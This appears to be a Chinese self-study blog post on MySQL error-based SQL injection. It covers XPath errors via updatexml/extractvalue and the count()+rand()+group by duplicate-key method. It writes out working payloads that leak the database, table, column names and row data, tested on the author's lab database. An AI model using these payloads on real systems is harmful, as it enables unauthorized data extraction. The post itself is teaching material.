自学web安全day09--SQL注入--(基础04)报错注入

一.什么是报错注入

1.相关概念

[概念1:盲注]

盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

[概念2:报错注入]

页面上没有显示位,但是会输出SQL语句执行错误信息。比如mysqlerror()函数的报错信息。

区分开无显示位无回显的区别,union无法作用在两者情况下

无显示位不一定是无回显,但是无回显一定无显示位

2.特征及适用场景

1.特征:

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件使得查询结果能够出现在错误信息中

2.应用场景:

这种手段在①联合查询受限②能返回错误信息的情况下比较好用。

3.报错注入的分类

1.Biglnt等数据类型溢出

2.xpath语法错误

3.count()+rand()+group by()导致主键重复

4.空间数据类型函数错误

本文学习:

  • xpatah语法错误
  • count()+rand()+group by()导致主键重复

4.xpath相关知识学习

1.相关概念简单学习

[概念1:XML语言]

含义:可扩展标记语言(eXtensible Markup Language)。

作用:传输数据而非显示数据(区别HTML语言)

一个网站可能用php、java、python等其他语言开发,这些语言可以通用xml类型文件进行数据规范、数据传输

[概念2:Xpath语言]

一门专门用来查找XML数据内容的一门语言(也可以叫做规范)

用来在XML文档中对元素属性进行遍历

2.MySql相关的xml函数

从MySql5.1.5开始提供了两个XML查询和修改的函数:

--1.updatexml():适用于5.5.5-5.5.49版本

updatexml函数格式:updatexml(xml_document,xpath_string,new_value)

①xml_document:xml文件的名称

②xpath_string:xpath格式的字符串

③new_value:替换查找到的符合条件的数据

功能:简单来说,查找一个字符串,并进行替换

--2.extractvalue():适用于5.1.5+版本

extractvalue函数格式:extractvalue(xml_document,xpath_string)

①xml_document:xml文件的名称

②xpath_string:xpath格式的字符串

3.与报错注入的联系

--1.联系

我们在xpath_string处也就是第二个参数那里传入不符合xpath格式的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句的结果报错显示出来。这就是xpath报错注入的原理。

--2.注意事项

①必须是在XPath string处传特殊字符,mysql才会报错。

②同时我们还需要注入命令,没这么多位置,所以要用到concat函数

③xpath只会对特殊字符进行报错,这里我们可以用16进制的0x7e(~)来进行利用。

④xpath只会报错32个字符,对于输出结果大于32个字符的命令要用substr函数截取后分段输出

5.虚拟表相关知识学习

1.count()+group by

[关键:]count()+rand()+group by()导致主键重复

原始表

select * from users; id为主键,同为adam的有4个(id分别为1,4,6,8),同为nsb的有2个(id分别为2,3),同为nsb1的有2个(id分别为5,7)

执行以下命令1:select * from users group by name;

id本身作为主键,唯一且不为NULL,所以在虚拟表中只会出现1个id,且是第1次的id,(第1次的id是1)

group by name之后,name将作为虚拟表的新主键,因此,重名的name将会被删除,只留下1个唯一。

group by语句

1.语法:

select column1, aggregate_function(column2) from table_name where condition group by column1;

①column1:指定分组的列

②aggregate_function:对分组后的每个组执行的聚合函数

③table_name:要查询的表名

④condition:可选,用于筛选结果的条件

2.知识补充:MySql中的聚合函数(5个) ①avg()求平均数,只能适用于数值类型,不含NULL

②sum()求和,只能适用于数值类型,不含NULL

③max()求最大,适用于数值类型、字符串类型、日期时间类型的字段(或变量)不包含NULL值

④min(),求最小,适用于数值类型、字符串类型、日期时间类型的字段(或变量)不包含NULL值

⑤count(),计数,计算指定字段在查询结构中出现的个数(不包含NULL值)

原理:

执行以下命令2:select *,count(*) from users group by name; --一个分组的情况

count( * ) 效果和count(phone)、count(id)效果一样,结果一样,都受主键的约束

执行以下命令3:select *,count(*) from users group by name,phone; --两个分组的情况

count( * ) 效果和count(phone)、count(id)效果一样,结果一样,都受主键的约束

只需要保证name和phone不全相同即为不重复

2.rand函数

1.rand()

随机生成一个[0,1)范围的随机小数,每次执行结果均不相同

命令:select rand();

执行第1次

执行第2次

2.rand(数字)

命令:select rand(任意数字)--任意数字象征着"种子"

特性1:每个种子对应固定的随机数值

特性2:随机数种子相同,但是行不同,产生的随机数也不同

特性3:带有小数的时候,小数部分"小于0.5"是一个随机数,"大于等于0.5"是另一个随机数

区分在于有小数的时候,例如1.1和1.9他们是在1.1<1.5的区间和1.9>=1.5的区间,产生的随机数也不一样,无论小数位数怎么变依旧如此,例如rand(1.1)结果和rand(1.123)是一样的

任意数字取1.1执行多次

任意数字取1.9执行多次

任意数字取0多次

3.floor函数

floor(任意数),向下取整该数 "<=该数且为整数"

命令1:select floor(1.5);

命令2:select floor(-1.5);

4.rand函数与floor函数搭配使用

例如:生成[5,10]之间的随机整数

rand()范围是[0.1),则6*rand()+5的范围是[5,11)

则floor(6*rand()+5)的范围是[5,10]

命令:select floor(6*rand()+5);

6.相关报错注入命令执行原理

前置知识:floor函数、rand函数、group by语句特点(虚拟表)

1.先通过正确的命令来学习报错原理:

命令1(未进行分组):select count(*),concat((select database()),0x7e,floor(rand(0)*2))as A from information_schema.tables;

分析: ①concat连接的是 ~、database()、0

②as A表示将前面的concat((select database()),0x7e,floor(rand(0)*2))作为A

③表information_schema.tables也可以换成自己的表

命令2(进行分组):select count(*),concat((select database()),0x7e,floor(rand(0)*2))as A from users group by name;

分析:因为group by分组后显示的只有3行,每行都要被concat和count操作一遍(聚合函数),而由于

"rand(任意数)"的特性 ,即相同随机数,不同随机行也会产生不同随机数。因此搭配floor和数值乘以2可以显示出"test ~ 0"或者"test ~ 1",且只有这两种显示:要么是0,要么是1,在[0,1]区间内的整数

2.主键报错显示数据库名

注意:这里的test是我自己的数据库名

命令1:select count(*),concat((select database()),0x7e,floor(rand(0)*2))as A from users group by A;

分析:即以A=concat内容("test ~ 0"或"test ~ 1")进行主键排查报错,因为不能有两个相同的主键

3.主键报错显示表名

命令1:select count(*),concat((select table_name from information_schema.tables where table_schema='test'limit 0,1),0x7e,floor(rand(0)*2))as A from information_schema.tables group by A;

--这里得到第1个表名为people

分析:①与"主键报错显示数据库名"的区别在于,对应位置替换成了对数据库表名的查询SQL语句,且增加了limit的限制,因为报错只能报错1行信息,因此可以通过对limit后面参数的payload进行表名爆破

命令2:select count(*),concat((select table_name from information_schema.tables where table_schema='test'limit 1,1),0x7e,floor(rand(0)*2))as A from information_schema.tables group by A;

--这里得到第2个表名为users,相比命令1只是把limit的"0,1"参数改为了"1,1"

4.主键报错显示列名

命令1:select count(*),concat((select column_name from information_schema.columns where table_schema='test'limit 0,1),0x7e,floor(rand(0)*2))as A from information_schema.tables group by A;

--这里得到第1个列名为ch_name

5.主键报错显示数据

已知该表people为:

命令1:select 1 from (select count(*),concat((select (select (select concat(0x7e,ch_name,0x7e))) from people limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;

实际上这里有一个待解决的问题

发现:当把ch_name的数据类型设置为var(数字小于等于236)时,利用该语句可以显示报错,

但是当把ch_name的数据类型设置为var(数字大于236)时,利用该语句不会显示报错。

不明白为什么会这样,这一点可以用于该注入类型漏洞的防护

相比之下,phone字段是int型,设置为int(255),即使数字255大于236但是仍然会报错,不知道原因为啥

也就是说,此类主键报错语句比较针对数据类型及数据类型的长度,在防护层面可以多考虑这一点

我这里的数据库版本为5.5.53

6.注意事项

1.由于"and"连接前后的值一定是布尔值(非0即1),所以and之后的[select 1(任意数字) from table;]是为了使结果为1和and前面的值相匹配,一般用来当做判断子查询是否成功

2.select 1 from table;这里的table就是我们后续用到的虚拟表方法,虚拟表也是个表,重命名是为了便于代码更加易读性,因为层层嵌套的select语句对初学者不太友好

二.如何实现报错注入

打靶Sqli-Labs记录--05关 - 掘金 (juejin.cn)

相关推荐
fen_fen2 小时前
mysql,mariadb,postgresql创建用户和授权的命令
mysql·postgresql·mariadb
技术路上的苦行僧4 小时前
分布式专题(9)之Mysql高可用方案
分布式·mysql·mgr·mha·mysql高可用·mmm
2401_871213304 小时前
mysql之MHA
数据库·mysql
言之。5 小时前
【MySQL】事务
数据库·mysql
落霞与孤鹭齐飞。。5 小时前
学生考勤系统|Java|SSM|VUE| 前后端分离
java·mysql·毕业设计·课程设计
dengjiayue7 小时前
MySQL 性能瓶颈,为什么 MySQL 表的数据量不能太大?
数据库·mysql
席万里7 小时前
【MySQL学习笔记】关于索引
笔记·学习·mysql
m0_748232397 小时前
python3 Flask应用 使用 Flask-SQLAlchemy操作MySQL数据库
数据库·mysql·flask
苹果醋37 小时前
Vue3响应式数据: 深入分析Ref与Reactive
java·运维·spring boot·mysql·nginx
Just_Do_IT_OK8 小时前
Docker--MySql
mysql·docker·容器